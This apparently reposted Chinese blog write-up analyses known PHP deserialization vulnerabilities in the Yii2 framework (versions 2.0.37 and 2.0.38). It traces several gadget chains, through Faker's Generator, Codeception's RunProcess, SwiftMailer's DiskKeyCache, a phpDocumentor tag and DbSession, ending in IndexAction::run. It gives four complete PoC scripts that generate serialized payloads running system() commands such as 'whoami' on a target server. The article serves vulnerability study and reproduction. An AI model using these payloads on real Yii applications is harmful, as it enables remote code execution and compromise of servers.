Yii反序列化漏洞分析


yii2反序列化漏洞分析

環境搭建

Windows10 phpstudy

yii2版本:2.0.37和2.0.38

php版本:7.3.4

環境安裝

使用compser安裝2.0.38版本,github安裝2.0.37版本

漏洞分析

漏洞的出發點是在\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php文件中,

image-20200924142948953

這里調用reset()方法,跟進查看reset()方法

image-20200924143202497

並且這里$this->dataReader可控,可以調用不存在close()方法並且存在__call()方法的類,就是找一個跳板。$this->_dataREader->close()這里可以利用魔術方法__call,於是開始全局搜索__call。在\yii\vendor\fzaninotto\faker\src\Faker\Generator.php文件中

image-20200924144130770

跟進format

image-20200924144245020

跟進查看getFormatter

image-20200924144352201

format里調用了call_user_func_array,$formatter$arguments都不可控,目前$formatter='close',$arguments為空。$formatter傳入了$this->getFormatter,在這個方法中,$this->formatters是可控的,這也就意味着getFormatter方法的返回值是可控的。

也就是說all_user_func_array這個函數的第一個參數可控,第二個參數為空

現在可以調用yii框架中的任何一個無參的方法。所以,要找一個無參數的方法,在這個方法中我們可以實現任意代碼執行或者間接實現任意代碼執行。

查找調用了call_user_func函數的無參方法。

構造正則

function \w+\(\) ?\n?\{(.*\n)+call_user_func

查看IndexAction.php中的run方法

image-20200924152153978

可以看到$this->checkAccess以及$this->id都可控,構成利用鏈

yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()

POC1

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

驗證payload,因為這僅僅是一個反序列化利用鏈,所以還需要一個反序列化的入口點,這個需要自己構造

在controllers目錄下創建一個Controller:

image-20200924160835120

運行POC訪問controller傳入參數實現RCE

image-20200924160522739

該利用鏈在yii 2.0.37中測試成功,在使用yii 2.0.38測試時,BatchQueryTesult類被修復無法實例化,需要另找起點。

其他利用鏈

yii 2.0.38中的另外起點。

利用鏈1

利用鏈的起點\yii\vendor\codeception\codeception\ext\RunBefore.php

image-20200925104406270

同樣還是找__destruct()方法調用了stopProcess()函數,因為這里的$this->processes可控,也就意味着$process可控,然后下面又調用了$process->isRunning,可以接上第一條利用鏈的__call方法開頭的后半段。

利用鏈

Codeception\Extension\RunProcess::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()

POC2

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'ls';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 這里需要改為isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>


運行poc,並執行rce

image-20200925110847113

利用鏈2

\yii\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php文件中,

image-20200925113630883

跟進clearAll方法

image-20200925114038356

這里的$this->keys以及$nsKey、$itemKey都是我們可控的,所以是可以執行到$this->clearKey的,跟進查看:

image-20200925114215556

這里的$this->path也可控,可以看到這里是進行了一個字符串拼接操作,那么意味着可以利用魔術方法__toString來觸發后續操作。

全局搜素__toString,有200個文件

image-20200925114742664

文件路徑\yii\vendor\phpdocumentor\reflection-docblock\src\DocBlock\Tags\See.php

使用See.php舉例

image-20200925114502875

可以看到$this->description可控,又可以利用__call

利用鏈2

Swift_KeyCache_DiskKeyCache -> phpDocumentor\Reflection\DocBlock\Tags\See::__toString()-> Faker\Generator::__call() -> yii\rest\IndexAction::run()

POC3

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 這里需要改為isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

測試poc,實現rce

image-20200925115147720

利用鏈3

起點還是一樣,與上述不同的是不用急着找跳板,reset()方法中$this->_dataReader是我們可控的,需要找到一個類中存在close()方法並且這個方法存在危險函數或是又可以延展調用鏈的就可以了

找到\yii\vendor\yiisoft\yii2\web\DbSession.php這個類中的close()方法

image-20200925150623053

會調用\vendor\yiisoft\yii2\web\MultiFieldSession.php中的composeFields()方法,因為是繼承此類的,看到這個方法

image-20200925150809198

比較這兩個函數的差別

  • 如果傳遞一個數組給 call_user_func_array(),數組的每個元素的值都會當做一個參數傳遞給回調函數,數組的 key 回調掉。
  • 如果傳遞一個數組給 call_user_func(),整個數組會當做一個參數傳遞給回調函數,數字的 key 還會保留住。

這里要利用call_user_func()函數能夠將實例化對象作為數組傳遞給函數,也就是說這里因為我們可控$this->writeCallback,然后賦值[new \yii\rest\IndexAction($func, $param), "run"];
就可以調用之前我們所找到的終點--run()方法,再進行RCE

POC4

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('system', 'whoami');
    echo(base64_encode(serialize($exp)));
}


在yii 2.0.37版本中測試成功,2.0.38測試失敗。

image-20200925152126478

POC在yii2.0.37中通用,其中POC2和POC3在yii2.0.38中可用。

對反序列化還不是很熟悉,這里主要是對已知漏洞的復現。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM